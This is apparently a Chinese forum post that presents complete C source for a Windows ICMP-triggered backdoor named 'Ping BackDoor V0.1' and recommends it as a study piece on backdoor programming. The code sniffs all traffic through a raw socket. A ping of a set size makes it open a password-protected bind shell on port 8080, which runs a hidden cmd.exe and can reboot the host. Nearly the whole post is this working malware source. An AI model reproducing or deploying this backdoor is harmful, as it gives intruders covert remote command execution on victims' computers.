这是一个ICMP反弹后门的源代码。后门在目标主机上嗅探所有经过主机的数据，并判断是否为ICMP请求包。如果监听到ICMP请求包，后门会自动开启一个监听端口，并通过密码验证用户。
这个程序涉及到了TPC/IP网络编程，简单的嗅探，还有匿名管道等知识，也体现了一般的后门的编程思想。建议大家仔细阅读几遍，一定会有所收获。
现在代码看起来很乱，建议大家复制到VC或者其他的编译工具，这样看起来舒服一点。
**代码分割线**************************************************************************
#include
#include
#include
#include
#include
#pragma comment(lib, "ws2_32.lib")
#define ICMP_ECHO 8 // ICMP回显请求报文的类型值为8
#define ICMP_ECHOREPLY 0 // ICMP回显应答报文的类型值为0
#define SNIFFER_ICMP_SIZE 10 // 监听ICMP包的大?
#define BIND_PORT 8080 // 默认bind shell 端口
#define MAX_PACKET 10000 // 最大ICMP包的大?
#define DEF_PASSWORD "1" // 默认密码
#define xmalloc(s) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,(s))
// 定义IP 首部
typedef struct iphdr
{
signed char h_verlen; / 4位首部长度,4位IP版本号 1
signed char tos; // 8位服务类型TOS 1
signed short total_len; // 16位总长度(字节) 2
signed short ident; // 16位标识 2
signed short frag_and_flags; // 3位标志位 2
signed char ttl; // 8位生存时间 TTL 1
signed char proto; // 8位协议(TCP, UDP 或其它) 1
signed short checksum; // 16位IP首部校验和 2
signed int sourceIP; // 32位源IP地址 4
signed int destIP; // 32位目的IP地址 4
} IPHeader; // IP首部长度为： 20
// 定义ICMP首部
typedef struct _ihdr
{
signed char i_type; // 8位类型 1
signed char i_code; // 8位代码 1
signed short i_cksum; // 16位校验和 2
signed short i_id; // 识别号(用进程号作为识别) 2
signed short i_seq; // 报文序列号 2
} ICMPHeader; // ICMP首部长度为： 8
int sniffer(); // 监听ICMP
void decode_sniffer(char *, int, struct sockaddr_in *); // 简单Sniffer 解包程序
int bindshell(); // bind shell
//void write(char *par); //记录函数
DWORD dwBufferLen[10];
DWORD dwBufferInLen = 1;
DWORD dwBytesReturned = 0;
HANDLE bindthread; //定义一个句柄
// ICMPDoor 主
函数
int main(int argc, char **argv)
{
WSADATA wsaData;
int retval;
// socket 初始化
if ((retval = WSAStartup(MAKEWORD(2,2), &wsaData)) != 0)
{
printf("WSAStartup failed: %d\n",retval);
exit(-1);
}
// sniffer 开始
sniffer();
// socket 结束
WSACleanup();
return 0;
}
// sniffer 主函数
int sniffer()
{
int packsize = SNIFFER_ICMP_SIZE; //10
SOCKET socksniffer; //定义一个socket类型
struct sockaddr_in dest,from;
struct hostent * hp;
int sread;
int fromlen = sizeof(from);
unsigned char LocalName[256];
char *recvbuf;
// 创建一个原始socket, 接受所有接收的包(sniffer)
if ((socksniffer = WSASocket(AF_INET, SOCK_RAW, IPPROTO_IP, NULL, 0, WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET)
{
printf("WSASocket() failed: %d\n", WSAGetLastError());
return -1;
}
// 取得本地地址
gethostname((char*)LocalName, sizeof(LocalName)-1);
if((hp = gethostbyname((char*)LocalName)) == NULL)
{
return -1;
}
memset(&dest,0,sizeof(dest));
memcpy(&dest.sin_addr.s_addr, hp->h_addr_list[0], hp->h_length); // TCP嗅探选项
dest.sin_family = AF_INET;
dest.sin_port = htons(8000); // 指定任意端口
// socket bind
bind(socksniffer, (PSOCKADDR)&dest, sizeof(dest));
// 设置socket为接受所有包
WSAIoctl(socksniffer, SIO_RCVALL, &dwBufferInLen, sizeof(dwBufferInLen), &dwBufferLen,
sizeof(dwBufferLen),&dwBytesReturned , NULL , NULL );
// 分配socket接收缓冲区大小为MAX_PACKET
recvbuf = (char *)xmalloc(MAX_PACKET);
// 循环监听包的大小
while(1)
{
// 读数据
sread = recvfrom(socksniffer, recvbuf, MAX_PACKET, 0, (struct sockaddr*)&from, &fromlen);
// 如果读数据出错
if (sread == SOCKET_ERROR || sread < 0)
{
if (WSAGetLastError() == WSAETIMEDOUT)
{
continue;
}
printf("recvfrom failed: %d\n",WSAGetLastError());
return -1;
}
else
// if ( sread >= 28)
// 如果读到数据的大小 == 监听包的大小 + 28
//if(1)
if ( sread == packsize + 28)
//if(sread<40)
{
//sendto(socksniffer,buff,strlen(buff)+1,0,(sockaddr*)&from,sizeof(sockaddr));;
// 将接收到的数据交给 Sniffer 解包程序处理
decode_sniffer(recvbuf, sread - 28, &from);
}
}
return 1;
}
// 简单Sniffer 解包程序
void decode_sniffer(char *buf, int bytes, struct sockaddr_in *from)
{
ICMPHeader *icmphdr;
// ICMP首部的地址等于buf+IP首部长度：buf+20
icmphdr = (ICMPHeader *)(buf + sizeof(IPHeader));
printf("\r\n %d bytes数据来自于 %s,", bytes, inet_ntoa(from->sin_addr));// 取出接收数据
printf(" 数据类型为: %d", icmphdr->i_type); // 检测类型
printf(" 序列号为: %d\r\n", icmphdr->i_seq); // 取出序列号
//出数据段 buf + 28 + i
for(int i = 0; i < bytes - 1; i++)
{
printf("%c", *(buf + sizeof(IPHeader) + sizeof(ICMPHeader) + i));
}
if (buf[0])
// 简单判断如果为icmp 请求包
if (icmphdr->i_type == ICMP_ECHO)
{
//bind shell
bindshell();
// DWORD bid;
// bindthread = CreateThread(NULL, 0, bindshell, 0, 0, &bid);
}
else
printf("\r\n Get Other Packets!");
return;
}
// bind shell函数
int bindshell(){
int bport = BIND_PORT;
SOCKET bindServer, getClient;
struct sockaddr_in addrServer, addrClient;
char Buff[4096];
char *messages = "\r\n======================== Ping BackDoor
V0.1========================\r\n========= Code by Lion. Welcome to https://www.doczj.com/doc/c614960420.html, =========\r\n";
char *getpass = "\r\n Your PassWord:";
char *passok = "\r\n OK! Please Enter:";
char *nothispass = "\r\n Sorry, Your PassWord Not Right.\r\n";
char *exitok = "\r\n Exit OK!\r\n";
char *rebootok = "\r\n Reboot now!\r\n";
// 创建一个socket
bindServer = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
// 服务器地址和端口指定
addrServer.sin_family = AF_INET;
addrServer.sin_port = htons(bport);
addrServer.sin_addr.s_addr = ADDR_ANY;
// 设置超时
int TimeOut = 60000;
setsockopt(bindServer, SOL_SOCKET, SO_RCVTIMEO, (char*)&TimeOut, sizeof(TimeOut));
// 设置重复利用端口
UINT bReUser = 1;
setsockopt(bindServer, SOL_SOCKET, SO_REUSEADDR, (char*)&bReUser, sizeof(bReUser));
// 监听端口
bind(bindServer, (struct sockaddr*)&addrServer, sizeof(addrServer));
listen(bindServer, 2);
printf("\r\n Bind Port on %d ok.", bport);
// 接受client连接
int iLen = sizeof(addrClient);
// 接收1次连接
getClient = accept(bindServer, (struct sockaddr*)&addrClient, &iLen);
if(getClient != INVALID_SOCKET)
{
// 如果有连接进来设置延时为60S
int iTimeOut = 60000;
setsockopt(getClient, SOL_SOCKET, SO_RCVTIMEO, (char*)&iTimeOut, sizeof(iTimeOut));
}
else
return -1;
// 写欢迎信息
send(getClient, messages, strlen(messages), 0);
// 写密码验证信息
send(getClient, getpass, strlen(getpass), 0);
// 接收数据
recv(getClient,Buff,1024,0);
// 验证密码
if(!(strstr(Buff, DEF_PASSWORD)))
{
// 如果密码错误,写密码错误信息
send(getClient, nothispass, strlen(nothispass), 0);
printf("\r\n PassWord Not Right!");
closesocket(getClient);
closesocket(bindServer);
return -1;
}
// 写通过验证信息
send(getClient, passok, strlen(passok), 0);
// 建两个匿名管道
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
unsigned long lBytesRead;
SECURITY_ATTRIBUTES sa;
sa.nLength=12;
sa.lpSecurityDescriptor=0;
sa.bInheritHandle=TRUE;
CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);
CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);
STARTUPINFO siinfo;
char cmdLine[] = "cmd.exe";
PROCESS_INFORMATION ProcessInformation;
ZeroMemory(&siinfo,sizeof(siinfo));
siinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
siinfo.wShowWindow = SW_HIDE;
siinfo.hStdInput = hReadPipe2; // 读socket写入pipe2的数据
siinfo.hStdOutput = siinfo.hStdError = hWritePipe1; // 向这里写数据
printf("\r\n Pipe Create OK!");
// 创建一个cmd进程, 由hReadPipe2读数据,向hWritePipe1写数据
int bread = CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&siinfo,&ProcessInformation);
while(1)
{
// 检查管道是否有数据返回
int ret = PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
if(lBytesRead)
{
// 从管道hReadPipe1读数据
ret = ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
// 把从管道hReadPipe1读到的数据写入连接 getClient
ret = send(getClient,Buff,lBytesRead,0);
if(ret <= 0) break;
}
else
{
// 如果连接 getClient 有接收到数据
lBytesRead = recv(getClient,Buff,1024,0);
if(lBytesRead <= 0) break;
// 把从连接 getClient 读到的数据写入hWritePipe2
ret = WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
if(lBytesRead > 4 && Buff[0]=='e' && Buff[1]=='x' && Buff[2]=='i' && Buff[3]=='t')
{
// 写退出信息
send(getClient, exitok, strlen(exitok), 0);
closesocket(getClient);
closesocket(bindServer);
return 1;
}
else if(lBytesRead > 6 && Buff[0]=='r' && Buff[1]=='e' && Buff[2]=='b' && Buff[3]=='o' &&
Buff[1]=='o' && Buff[2]=='t')
{
// 写重启
send(getClient, rebootok, strlen(rebootok), 0);
closesocket(getClient);
closesocket(bindServer);
ExitWindowsEx(EWX_REBOOT,NULL);
return 1;
}
if(!ret) break;
}
}
closesocket(getClient);
closesocket(bindServer);
return 1;
}
执着的追求自己的梦想，并坚定的相信它不会错的 [本帖被加为精华]